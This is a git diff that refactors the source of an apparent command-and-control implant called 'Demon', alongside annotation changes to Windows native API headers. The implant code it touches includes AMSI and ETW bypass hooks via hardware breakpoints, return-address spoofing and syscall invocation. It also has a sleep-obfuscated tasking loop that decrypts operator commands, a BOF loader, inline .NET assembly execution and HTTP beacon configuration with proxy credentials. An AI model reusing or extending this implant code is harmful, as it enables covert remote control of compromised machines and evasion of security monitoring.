PULONG Granularity ); @@ -19650,7 +19650,7 @@ ZwQueryDirectoryObject ( IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, - IN OUT PULONG Context, + _Inout_ PULONG Context, OUT PULONG ReturnLength ); @@ -19681,7 +19681,7 @@ NTSTATUS NTAPI ZwQuerySymbolicLinkObject ( IN HANDLE LinkHandle, - IN OUT PUNICODE_STRING LinkTarget, + _Inout_ PUNICODE_STRING LinkTarget, OUT PULONG ReturnedLength ); @@ -19702,7 +19702,7 @@ NTSTATUS NTAPI ZwPlugPlayControl( IN PLUGPLAY_CONTROL_CLASS PnPControlClass, - IN OUT PVOID PnPControlData, + _Inout_ PVOID PnPControlData, IN ULONG PnPControlDataLength ); @@ -19963,7 +19963,7 @@ NTSTATUS NTAPI ZwGetContextThread ( IN HANDLE ThreadHandle, - IN OUT PCONTEXT ThreadContext + _Inout_ PCONTEXT ThreadContext ); @@ -20326,10 +20326,10 @@ NTSTATUS NTAPI ZwQueryMultipleValueKey( IN HANDLE KeyHandle, - IN OUT PKEY_VALUE_ENTRY ValueEntries, + _Inout_ PKEY_VALUE_ENTRY ValueEntries, IN ULONG EntryCount, OUT PVOID ValueBuffer, - IN OUT PULONG BufferLength, + _Inout_ PULONG BufferLength, OUT OPTIONAL PULONG RequiredBufferLength ); @@ -20491,7 +20491,7 @@ ZwLockRegistryKey( NTSTATUS NTAPI ZwLockProductActivationKeys( - IN OUT OPTIONAL ULONG *pPrivateVer, + _Inout_opt_ ULONG *pPrivateVer, OUT OPTIONAL ULONG *pSafeMode ); @@ -20505,7 +20505,7 @@ ZwAccessCheck ( IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, - IN OUT PULONG PrivilegeSetLength, + _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); @@ -20523,7 +20523,7 @@ ZwAccessCheckByType ( IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, - IN OUT PULONG PrivilegeSetLength, + _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); @@ -20541,7 +20541,7 @@ ZwAccessCheckByTypeResultList ( IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, - IN OUT PULONG PrivilegeSetLength, + _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); @@ -20709,7 +20709,7 @@ NTSTATUS NTAPI ZwPrivilegeCheck ( IN HANDLE ClientToken, - IN OUT PPRIVILEGE_SET RequiredPrivileges, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, OUT PBOOLEAN Result ); @@ -21023,7 +21023,7 @@ RtlCheckBit ( BOOLEAN NTAPI RtlIsValidOemCharacter ( - IN OUT PWCHAR Char + _Inout_ PWCHAR Char ); PIMAGE_NT_HEADERS @@ -21290,7 +21290,7 @@ NTAPI LdrQueryModuleServiceTags( IN PVOID DllHandle, OUT PULONG ServiceTagBuffer, - IN OUT PULONG BufferSize + _Inout_ PULONG BufferSize ); NTSTATUS @@ -21324,7 +21324,7 @@ A_SHAFinal( PVOID NTAPI A_SHAUpdate( - IN OUT PSHA_CTX, + _Inout_ PSHA_CTX, IN PCHAR, IN UINT ); @@ -21332,7 +21332,7 @@ A_SHAUpdate( PVOID NTAPI A_SHAInit( - IN OUT PSHA_CTX, + _Inout_ PSHA_CTX, OUT PVOID ); @@ -21607,7 +21607,7 @@ NTAPI RtlSetSecurityObjectEx( IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR ModificationDescriptor, - IN OUT PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, + _Inout_ PSECURITY_DESCRIPTOR *ObjectsSecurityDescriptor, IN ULONG AutoInheritFlags, IN PGENERIC_MAPPING GenericMapping, IN HANDLE Token OPTIONAL @@ -21706,7 +21706,7 @@ CsrClientConnectToServer( IN ULONG ServertDllIndex, IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, IN PVOID ConnectionInformation, - IN OUT PULONG ConnectionInformationLength OPTIONAL, + _Inout_ PULONG ConnectionInformationLength OPTIONAL, OUT PBOOLEAN CalledFromServer OPTIONAL ); @@ -21714,8 +21714,8 @@ CsrClientConnectToServer( NTSTATUS NTAPI CsrClientCallServer( - IN OUT PCSR_API_MSG m, - IN OUT PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, + _Inout_ PCSR_API_MSG m, + _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer OPTIONAL, IN CSR_API_NUMBER ApiNumber, IN ULONG ArgLength ); @@ -21739,7 +21739,7 @@ CsrFreeCaptureBuffer( ULONG NTAPI CsrAllocateMessagePointer( - IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN ULONG Length, OUT PVOID *Pointer ); @@ -21747,7 +21747,7 @@ CsrAllocateMessagePointer( VOID NTAPI CsrCaptureMessageBuffer( - IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PVOID Buffer OPTIONAL, IN ULONG Length, OUT PVOID *CapturedBuffer @@ -21756,7 +21756,7 @@ CsrCaptureMessageBuffer( VOID NTAPI CsrCaptureMessageString( - IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PCSTR String, IN ULONG Length, IN ULONG MaximumLength, @@ -21802,7 +21802,7 @@ NTSTATUS NTAPI CsrSetPriorityClass( IN HANDLE ProcessHandle, - IN OUT PULONG PriorityClass + _Inout_ PULONG PriorityClass ); //added 20/03/2011 @@ -21839,25 +21839,25 @@ NTAPI RtlQueryProcessModuleInformation( IN HANDLE hProcess OPTIONAL, IN ULONG Flags, - IN OUT PRTL_DEBUG_INFORMATION Buffer + _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessBackTraceInformation( - IN OUT PRTL_DEBUG_INFORMATION Buffer + _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessHeapInformation( - IN OUT PRTL_DEBUG_INFORMATION Buffer + _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS NTAPI RtlQueryProcessLockInformation( - IN OUT PRTL_DEBUG_INFORMATION Buffer + _Inout_ PRTL_DEBUG_INFORMATION Buffer ); PRTL_DEBUG_INFORMATION @@ -21878,7 +21878,7 @@ NTAPI RtlQueryProcessDebugInformation( IN HANDLE UniqueProcessId, IN ULONG Flags, - IN OUT PRTL_DEBUG_INFORMATION Buffer + _Inout_ PRTL_DEBUG_INFORMATION Buffer ); NTSTATUS @@ -22214,7 +22214,7 @@ ZwWow64CsrAllocateCaptureBuffer( ULONG NTAPI ZwWow64CsrAllocateMessagePointer( - IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN ULONG Length, OUT PVOID *Pointer ); @@ -22222,7 +22222,7 @@ ZwWow64CsrAllocateMessagePointer( void NTAPI ZwWow64CsrCaptureMessageBuffer( - IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PVOID Buffer OPTIONAL, IN ULONG Length, OUT PVOID *CapturedBuffer @@ -22231,7 +22231,7 @@ ZwWow64CsrCaptureMessageBuffer( void NTAPI ZwWow64CsrCaptureMessageString( - IN OUT PCSR_CAPTURE_HEADER CaptureBuffer, + _Inout_ PCSR_CAPTURE_HEADER CaptureBuffer, IN PCSTR String, IN ULONG Length, IN ULONG MaximumLength, @@ -22245,7 +22245,7 @@ ZwWow64CsrClientConnectToServer( IN ULONG ServerDllIndex, IN PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, IN PVOID ConnectionInformation, - IN OUT PULONG ConnectionInformationLength OPTIONAL, + _Inout_ PULONG ConnectionInformationLength OPTIONAL, OUT PBOOLEAN CalledFromServer OPTIONAL ); diff --git a/payloads/Demon/include/core/HwBpExceptions.h b/payloads/Demon/include/core/HwBpExceptions.h index 2967e9c..128e188 100644 --- a/payloads/Demon/include/core/HwBpExceptions.h +++ b/payloads/Demon/include/core/HwBpExceptions.h @@ -52,11 +52,11 @@ #endif VOID HwBpExAmsiScanBuffer( - IN OUT PEXCEPTION_POINTERS Exception + _Inout_ PEXCEPTION_POINTERS Exception ); VOID HwBpExNtTraceEvent( - IN OUT PEXCEPTION_POINTERS Exception + _Inout_ PEXCEPTION_POINTERS Exception ); #endif //DEMON_HWBPEXCEPTIONS_H diff --git a/payloads/Demon/include/core/Memory.h b/payloads/Demon/include/core/Memory.h index 590a54b..6f80e91 100644 --- a/payloads/Demon/include/core/Memory.h +++ b/payloads/Demon/include/core/Memory.h @@ -10,14 +10,27 @@ typedef enum _DX_MEMORY DX_MEM_SYSCALL = 2, } DX_MEMORY; -PVOID MemoryAlloc( +PVOID MmHeapAlloc( + _In_ ULONG Length +); + +PVOID MmHeapReAlloc( + _In_ PVOID Memory, + _In_ ULONG Length +); + +BOOL MmHeapFree( + _In_ PVOID Memory +); + +PVOID MmVirtualAlloc( IN DX_MEMORY Method, IN HANDLE Process, IN SIZE_T Size, IN DWORD Protect ); -BOOL MemoryProtect( +BOOL MmVirtualProtect( IN DX_MEMORY Method, IN HANDLE Process, IN PVOID Memory, @@ -25,14 +38,14 @@ BOOL MemoryProtect( IN DWORD Protect ); -BOOL MemoryWrite( +BOOL MmVirtualWrite( IN HANDLE Process, OUT PVOID Memory, IN PVOID Buffer, IN SIZE_T Size ); -BOOL MemoryFree( +BOOL MmVirtualFree( IN HANDLE Process, OUT PVOID Memory ); diff --git a/payloads/Demon/include/core/Package.h b/payloads/Demon/include/core/Package.h index 1d262ea..69e335a 100644 --- a/payloads/Demon/include/core/Package.h +++ b/payloads/Demon/include/core/Package.h @@ -38,7 +38,7 @@ VOID PackageAddInt64( ); VOID PackageAddBool( - IN OUT PPACKAGE Package, + _Inout_ PPACKAGE Package, IN BOOLEAN Data ); diff --git a/payloads/Demon/include/core/Spoof.h b/payloads/Demon/include/core/Spoof.h index 1dd78a7..d570546 100644 --- a/payloads/Demon/include/core/Spoof.h +++ b/payloads/Demon/include/core/Spoof.h @@ -33,14 +33,14 @@ PVOID SpoofRetAddr( IN PVOID Module, IN ULONG Size, IN HANDLE Function, - IN OUT PVOID a, - IN OUT PVOID b, - IN OUT PVOID c, - IN OUT PVOID d, - IN OUT PVOID e, - IN OUT PVOID f, - IN OUT PVOID g, - IN OUT PVOID h + _Inout_ PVOID a, + _Inout_ PVOID b, + _Inout_ PVOID c, + _Inout_ PVOID d, + _Inout_ PVOID e, + _Inout_ PVOID f, + _Inout_ PVOID g, + _Inout_ PVOID h ); #endif diff --git a/payloads/Demon/include/core/Syscalls.h b/payloads/Demon/include/core/Syscalls.h index 1664b29..c0931d3 100644 --- a/payloads/Demon/include/core/Syscalls.h +++ b/payloads/Demon/include/core/Syscalls.h @@ -55,7 +55,7 @@ VOID SysSetConfig( ); NTSTATUS SysInvoke( - IN OUT /* Args... */ + _Inout_ /* Args... */ ); BOOL IsWoW64(); diff --git a/payloads/Demon/include/core/TransportHttp.h b/payloads/Demon/include/core/TransportHttp.h index a824ce1..f4c0bec 100644 --- a/payloads/Demon/include/core/TransportHttp.h +++ b/payloads/Demon/include/core/TransportHttp.h @@ -10,6 +10,7 @@ #define TRANSPORT_HTTP_ROTATION_ROUND_ROBIN 0 #define TRANSPORT_HTTP_ROTATION_RANDOM 1 +#define ERROR_INTERNET_CANNOT_CONNECT 12029 typedef struct _HOST_DATA { @@ -66,19 +67,13 @@ PHOST_DATA HostRandom(); */ BOOL HostCheckup(); -/*! - * Query the Http Status code from the request response. - * @param hRequest - * @return Http status code - */ + DWORD HttpQueryStatus( HANDLE hRequest ); -/*! - * Query the Http Status code from the request response. - * @param hRequest - * @return Http status code - */ -BOOL HttpSend( PBUFFER Send, PBUFFER Response ); +BOOL HttpSend( + _In_ PBUFFER Send, + _Out_opt_ PBUFFER Resp +); #endif diff --git a/payloads/Demon/include/core/Win32.h b/payloads/Demon/include/core/Win32.h index 618876a..64ea9bb 100644 --- a/payloads/Demon/include/core/Win32.h +++ b/payloads/Demon/include/core/Win32.h @@ -245,7 +245,7 @@ VOID SharedSleep( ); VOID ShuffleArray( - IN OUT PVOID* array, + _Inout_ PVOID* array, IN SIZE_T n ); diff --git a/payloads/Demon/src/Demon.c b/payloads/Demon/src/Demon.c index 5d9acdd..c1fe9c5 100644 --- a/payloads/Demon/src/Demon.c +++ b/payloads/Demon/src/Demon.c @@ -649,7 +649,7 @@ VOID DemonConfig() Instance.Config.Transport.WorkingHours = ParserGetInt32( &Parser ); Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Method = NtHeapAlloc( Length + sizeof( WCHAR ) ); + Instance.Config.Transport.Method = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance.Config.Transport.Method, Buffer, Length ); Instance.Config.Transport.HostRotation = ParserGetInt32( &Parser ); @@ -687,18 +687,18 @@ VOID DemonConfig() // UserAgent Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.UserAgent = NtHeapAlloc( Length + sizeof( WCHAR ) ); + Instance.Config.Transport.UserAgent = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance.Config.Transport.UserAgent, Buffer, Length ); PRINTF( "[CONFIG] UserAgent: %ls\n", Instance.Config.Transport.UserAgent ); // Headers J = ParserGetInt32( &Parser ); - Instance.Config.Transport.Headers = NtHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); + Instance.Config.Transport.Headers = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); PRINTF( "[CONFIG] Headers [%d]:\n", J ); for ( INT i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Headers[ i ] = NtHeapAlloc( Length + sizeof( WCHAR ) ); + Instance.Config.Transport.Headers[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemSet( Instance.Config.Transport.Headers[ i ], 0, Length ); MemCopy( Instance.Config.Transport.Headers[ i ], Buffer, Length ); #ifdef DEBUG @@ -709,12 +709,12 @@ VOID DemonConfig() // Uris J = ParserGetInt32( &Parser ); - Instance.Config.Transport.Uris = NtHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); + Instance.Config.Transport.Uris = MmHeapAlloc( sizeof( LPWSTR ) * ( ( J + 1 ) * 2 ) ); PRINTF( "[CONFIG] Uris [%d]:\n", J ); for ( INT i = 0; i < J; i++ ) { Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Uris[ i ] = NtHeapAlloc( Length + sizeof( WCHAR ) ); + Instance.Config.Transport.Uris[ i ] = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemSet( Instance.Config.Transport.Uris[ i ], 0, Length + sizeof( WCHAR ) ); MemCopy( Instance.Config.Transport.Uris[ i ], Buffer, Length ); #ifdef DEBUG @@ -729,14 +729,14 @@ VOID DemonConfig() { PUTS( "[CONFIG] [PROXY] Enabled" ); Buffer = ParserGetBytes( &Parser, &Length ); - Instance.Config.Transport.Proxy.Url = NtHeapAlloc( Length + sizeof( WCHAR ) ); + Instance.Config.Transport.Proxy.Url = MmHeapAlloc( Length + sizeof( WCHAR ) ); MemCopy( Instance.Config.Transport.Proxy.Url, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Url: %ls\n", Instance.Config.Transport.Proxy.Url ); Buffer = ParserGetBytes( &Parser, &Length ); if ( Length > 0 ) { - Instance.Config.Transport.Proxy.Username = NtHeapAlloc( Length ); + Instance.Config.Transport.Proxy.Username = MmHeapAlloc( Length ); MemCopy( Instance.Config.Transport.Proxy.Username, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Username: %ls\n", Instance.Config.Transport.Proxy.Username ); } @@ -746,7 +746,7 @@ VOID DemonConfig() Buffer = ParserGetBytes( &Parser, &Length ); if ( Length > 0 ) { - Instance.Config.Transport.Proxy.Password = NtHeapAlloc( Length ); + Instance.Config.Transport.Proxy.Password = MmHeapAlloc( Length ); MemCopy( Instance.Config.Transport.Proxy.Password, Buffer, Length ); PRINTF( "[CONFIG] [PROXY] Password: %ls\n", Instance.Config.Transport.Proxy.Password ); } diff --git a/payloads/Demon/src/core/CoffeeLdr.c b/payloads/Demon/src/core/CoffeeLdr.c index 0ebfe0b..e48f797 100644 --- a/payloads/Demon/src/core/CoffeeLdr.c +++ b/payloads/Demon/src/core/CoffeeLdr.c @@ -305,7 +305,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE if ( ( Coffee->Section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED ) == IMAGE_SCN_MEM_NOT_CACHED ) Protection |= PAGE_NOCACHE; - Success = MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection ); + Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->SecMap[ SectionCnt ].Ptr, Coffee->SecMap[ SectionCnt ].Size, Protection ); if ( ! Success ) { PUTS( "Failed to protect memory" ) @@ -317,7 +317,7 @@ BOOL CoffeeExecuteFunction( PCOFFEE Coffee, PCHAR Function, PVOID Argument, SIZE if ( Coffee->FunMapSize ) { // set the FunctionMap section to READONLY - Success = MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY ); + Success = MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->FunMap, Coffee->FunMapSize, PAGE_READONLY ); if ( ! Success ) { PUTS( "Failed to protect memory" ) @@ -400,7 +400,7 @@ VOID CoffeeCleanup( PCOFFEE Coffee ) if ( ! Coffee || ! Coffee->ImageBase ) return; - if ( MemoryProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) ) + if ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), Coffee->ImageBase, Coffee->BofSize, PAGE_READWRITE ) ) MemSet( Coffee->ImageBase, 0, Coffee->BofSize ); Pointer = Coffee->ImageBase; @@ -736,7 +736,7 @@ VOID CoffeeLdr( PCHAR EntryName, PVOID CoffeeData, PVOID ArgData, SIZE_T ArgSize // at the bottom of the BOF, store the Function map, to ensure all reloc offsets are below 4K Coffee->BofSize += Coffee->FunMapSize; - Coffee->ImageBase = MemoryAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE ); + Coffee->ImageBase = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Coffee->BofSize, PAGE_READWRITE ); if ( ! Coffee->ImageBase ) { PUTS( "Failed to allocate memory for the BOF" ) diff --git a/payloads/Demon/src/core/Command.c b/payloads/Demon/src/core/Command.c index 02db5f6..00997ec 100644 --- a/payloads/Demon/src/core/Command.c +++ b/payloads/Demon/src/core/Command.c @@ -41,34 +41,36 @@ SEC_DATA DEMON_COMMAND DemonCommands[] = { { .ID = 0, .Function = NULL } }; +// +// TODO: rewrite this part +// and move it into the Demon.c file +// VOID CommandDispatcher( VOID ) { PARSER Parser = { 0 }; - LPVOID DataBuffer = NULL; - SIZE_T DataBufferSize = 0; + LPVOID DataBuffer = { 0 }; + SIZE_T DataBufferSize = { 0 }; PARSER TaskParser = { 0 }; - LPVOID TaskBuffer = NULL; - UINT32 TaskBufferSize = 0; - UINT32 CommandID = 0; - UINT32 RequestID = 0; + LPVOID TaskBuffer = { 0 }; + UINT32 TaskBufferSize = { 0 }; + UINT32 CommandID = { 0 }; + UINT32 RequestID = { 0 }; PRINTF( "Session ID => %x\n", Instance.Session.AgentID ); - do - { - if ( ! Instance.Session.Connected ) + do { + if ( ! Instance.Session.Connected ) { break; + } SleepObf(); - if ( ReachedKillDate() ) - { + if ( ReachedKillDate() ) { KillDate(); } - if ( ! InWorkingHours() ) - { - // simply call SleepObf until we reach working hours or the kill date (if set) + // simply call SleepObf until we reach working hours or the kill date (if set) + if ( ! InWorkingHours() ) { continue; } @@ -92,40 +94,33 @@ VOID CommandDispatcher( VOID ) } #endif - if ( DataBuffer && DataBufferSize > 0 ) - { + if ( DataBuffer && DataBufferSize > 0 ) { ParserNew( &Parser, DataBuffer, DataBufferSize ); - do - { + do { CommandID = ParserGetInt32( &Parser ); RequestID = ParserGetInt32( &Parser ); TaskBuffer = ParserGetBytes( &Parser, &TaskBufferSize ); Instance.CurrentRequestID = RequestID; - if ( CommandID != DEMON_COMMAND_NO_JOB ) - { + if ( CommandID != DEMON_COMMAND_NO_JOB ) { PRINTF( "Task => RequestID:[%d : %x] CommandID:[%d : %x] TaskBuffer:[%x : %d]\n", RequestID, RequestID, CommandID, CommandID, TaskBuffer, TaskBufferSize ) - if ( TaskBufferSize != 0 ) - { + if ( TaskBufferSize != 0 ) { ParserNew( &TaskParser, TaskBuffer, TaskBufferSize ); ParserDecrypt( &TaskParser, Instance.Config.AES.Key, Instance.Config.AES.IV ); } - for ( UINT32 FunctionCounter = 0 ;; FunctionCounter++ ) - { - if ( DemonCommands[ FunctionCounter ].Function == NULL ) + for ( UINT32 FunctionCounter = 0 ;; FunctionCounter++ ) { + if ( DemonCommands[ FunctionCounter ].Function == NULL ) { break; + } - if ( DemonCommands[ FunctionCounter ].ID == CommandID ) - { + if ( DemonCommands[ FunctionCounter ].ID == CommandID ) { DemonCommands[ FunctionCounter ].Function( &TaskParser ); break; } } } - - //PRINTF("TaskParser.Length: %x\n", TaskParser.Length); } while ( Parser.Length > 12 ); MemSet( DataBuffer, 0, DataBufferSize ); @@ -397,7 +392,7 @@ VOID CommandProc( PPARSER Parser ) if ( UserDomain.Buffer ) { MemZero( UserDomain.Buffer, UserDomain.Length ); - NtHeapFree( UserDomain.Buffer ); + MmHeapFree( UserDomain.Buffer ); UserDomain.Buffer = NULL; } } @@ -411,7 +406,7 @@ VOID CommandProc( PPARSER Parser ) if ( PtrProcessInfo ) { MemSet( PtrProcessInfo, 0, ProcessInfoSize ); - NtHeapFree( PtrProcessInfo ); + MmHeapFree( PtrProcessInfo ); PtrProcessInfo = NULL; SysProcessInfo = NULL; } @@ -649,7 +644,7 @@ VOID CommandProcList( if ( UserDomain.Buffer ) { MemZero( UserDomain.Buffer, UserDomain.Length ); - NtHeapFree( UserDomain.Buffer ); + MmHeapFree( UserDomain.Buffer ); UserDomain.Buffer = NULL; UserDomain.Length = 0; } @@ -668,7 +663,7 @@ VOID CommandProcList( /* Free our process list */ if ( SysProcessPtr ) { MemZero( SysProcessPtr, ProcessInfoSize ); - NtHeapFree( SysProcessPtr ); + MmHeapFree( SysProcessPtr ); SysProcessPtr = NULL; SysProcessInfo = NULL; } @@ -809,7 +804,7 @@ VOID CommandFS( PPARSER Parser ) Buffer = ParserGetBytes( Parser, &FileName.Length ); - FileName.Buffer = NtHeapAlloc( FileName.Length + sizeof( WCHAR ) ); + FileName.Buffer = MmHeapAlloc( FileName.Length + sizeof( WCHAR ) ); MemCopy( FileName.Buffer, Buffer, FileName.Length ); PRINTF( "FileName => %ls\n", FileName.Buffer ) @@ -874,7 +869,7 @@ VOID CommandFS( PPARSER Parser ) if ( FileName.Buffer ) { MemSet( FileName.Buffer, 0, FileName.Length ); - NtHeapFree( FileName.Buffer ); + MmHeapFree( FileName.Buffer ); FileName.Buffer = NULL; } @@ -1629,7 +1624,7 @@ VOID CommandToken( PPARSER Parser ) /* free queried owner memory */ if ( User.Buffer ) { MemZero( User.Buffer, User.Length ); - NtHeapFree( User.Buffer ); + MmHeapFree( User.Buffer ); User.Buffer = NULL; } @@ -1717,25 +1712,25 @@ VOID CommandAssemblyInlineExecute( PPARSER Parser ) BUFFER AssemblyData = { 0 }; BUFFER AssemblyArgs = { 0 }; - Instance.Dotnet = NtHeapAlloc( sizeof( DOTNET_ARGS ) ); + Instance.Dotnet = MmHeapAlloc( sizeof( DOTNET_ARGS ) ); Instance.Dotnet->RequestID = Instance.CurrentRequestID; Instance.Dotnet->Invoked = FALSE; /* Parse Pipe Name */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); - Instance.Dotnet->PipeName.Buffer = NtHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); + Instance.Dotnet->PipeName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance.Dotnet->PipeName.Length = Buffer.Length; MemCopy( Instance.Dotnet->PipeName.Buffer, Buffer.Buffer, Instance.Dotnet->PipeName.Length ); /* Parse AppDomain Name */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); - Instance.Dotnet->AppDomainName.Buffer = NtHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); + Instance.Dotnet->AppDomainName.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance.Dotnet->AppDomainName.Length = Buffer.Length; MemCopy( Instance.Dotnet->AppDomainName.Buffer, Buffer.Buffer, Instance.Dotnet->AppDomainName.Length ); /* Parse Net Version */ Buffer.Buffer = ParserGetWString( Parser, &Buffer.Length ); - Instance.Dotnet->NetVersion.Buffer = NtHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); + Instance.Dotnet->NetVersion.Buffer = MmHeapAlloc( Buffer.Length + sizeof( WCHAR ) ); Instance.Dotnet->NetVersion.Length = Buffer.Length; MemCopy( Instance.Dotnet->NetVersion.Buffer, Buffer.Buffer, Instance.Dotnet->NetVersion.Length ); @@ -3380,7 +3375,7 @@ VOID CommandExit( PPARSER Parser ) } MemSet( SocketEntry, 0, sizeof( SOCKET_DATA ) ); - NtHeapFree( SocketEntry ); + MmHeapFree( SocketEntry ); } // remove downloads @@ -3411,7 +3406,7 @@ VOID CommandExit( PPARSER Parser ) // free the DownloadChunk buffer if ( Instance.DownloadChunk.Buffer ) { - NtHeapFree( Instance.DownloadChunk.Buffer ); + MmHeapFree( Instance.DownloadChunk.Buffer ); Instance.DownloadChunk.Buffer = NULL; Instance.DownloadChunk.Length = 0; } diff --git a/payloads/Demon/src/core/Dotnet.c b/payloads/Demon/src/core/Dotnet.c index 2ef8b00..6ddd84b 100644 --- a/payloads/Demon/src/core/Dotnet.c +++ b/payloads/Demon/src/core/Dotnet.c @@ -257,10 +257,10 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) { if ( NT_SUCCESS( Instance.Win32.NtCreateThreadEx( &Instance.Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance.Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) ) { - Instance.Dotnet->RopInit = NtHeapAlloc( sizeof( CONTEXT ) ); - Instance.Dotnet->RopInvk = NtHeapAlloc( sizeof( CONTEXT ) ); - Instance.Dotnet->RopEvnt = NtHeapAlloc( sizeof( CONTEXT ) ); - Instance.Dotnet->RopExit = NtHeapAlloc( sizeof( CONTEXT ) ); + Instance.Dotnet->RopInit = MmHeapAlloc( sizeof( CONTEXT ) ); + Instance.Dotnet->RopInvk = MmHeapAlloc( sizeof( CONTEXT ) ); + Instance.Dotnet->RopEvnt = MmHeapAlloc( sizeof( CONTEXT ) ); + Instance.Dotnet->RopExit = MmHeapAlloc( sizeof( CONTEXT ) ); Instance.Dotnet->RopInit->ContextFlags = CONTEXT_FULL; if ( NT_SUCCESS( Instance.Win32.NtGetContextThread( Instance.Dotnet->Thread, Instance.Dotnet->RopInit ) ) ) @@ -342,7 +342,7 @@ VOID DotnetPushPipe() if ( Read > 0 ) { Instance.Dotnet->Output.Length = Read; - Instance.Dotnet->Output.Buffer = NtHeapAlloc( Instance.Dotnet->Output.Length ); + Instance.Dotnet->Output.Buffer = MmHeapAlloc( Instance.Dotnet->Output.Length ); Instance.Win32.ReadFile( Instance.Dotnet->Pipe, Instance.Dotnet->Output.Buffer, Instance.Dotnet->Output.Length, &BytesRead, NULL ); Instance.Dotnet->Output.Length = BytesRead; @@ -354,7 +354,7 @@ VOID DotnetPushPipe() if ( Instance.Dotnet->Output.Buffer ) { MemSet( Instance.Dotnet->Output.Buffer, 0, Read ); - NtHeapFree( Instance.Dotnet->Output.Buffer ) + MmHeapFree( Instance.Dotnet->Output.Buffer ); Instance.Dotnet->Output.Buffer = NULL; } } @@ -510,7 +510,7 @@ VOID DotnetClose() if ( Instance.Dotnet ) { MemSet( Instance.Dotnet, 0, sizeof( DOTNET_ARGS ) ); - NtHeapFree( Instance.Dotnet ); + MmHeapFree( Instance.Dotnet ); Instance.Dotnet = NULL; } } diff --git a/payloads/Demon/src/core/Download.c b/payloads/Demon/src/core/Download.c index 4320b5e..056fbe9 100644 --- a/payloads/Demon/src/core/Download.c +++ b/payloads/Demon/src/core/Download.c @@ -7,7 +7,7 @@ PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize ) { PDOWNLOAD_DATA Download = NULL; - Download = NtHeapAlloc( sizeof( DOWNLOAD_DATA ) ); + Download = MmHeapAlloc( sizeof( DOWNLOAD_DATA ) ); Download->FileID = RandomNumber32(); Download->hFile = hFile; Download->Size = MaxSize; @@ -49,7 +49,7 @@ VOID DownloadFree( PDOWNLOAD_DATA Download ) /* 